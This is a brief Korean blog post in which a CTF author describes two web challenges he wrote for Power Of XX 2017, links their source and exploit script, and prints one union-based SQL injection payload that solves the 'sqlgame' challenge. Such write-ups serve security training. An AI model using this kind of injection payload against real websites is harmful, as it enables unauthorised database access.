[Power Of XX 2017] Write-ups

# Power Of XX 2017

PoC에서 주최하는 Power Of XX CTF 문제를 올해 Layer7에서 출제하게 되었다.

내가 출제한 문제는 Basic Web, sqlgame 이렇게 두 문제다.
난이도는 둘다 매우 쉽게 만들었다.

1. Basic Web (LFI + BSQLi) - Solvers : 5

github

https://github.com/munsiwoo/problems/tree/master/power_of_xx_2017/basic_web

exploit code :

https://github.com/munsiwoo/problems/blob/master/power_of_xx_2017/basic_web/exploit.py

2. sqlgame (SQLi) -  - Solvers : 9

github

https://github.com/munsiwoo/problems/tree/master/power_of_xx_2017/sqlgame

1+union+select+0x303037,1,1%23'+union+select+1,0x62616e67,schema()%23"+union+select+1,2,'007'%23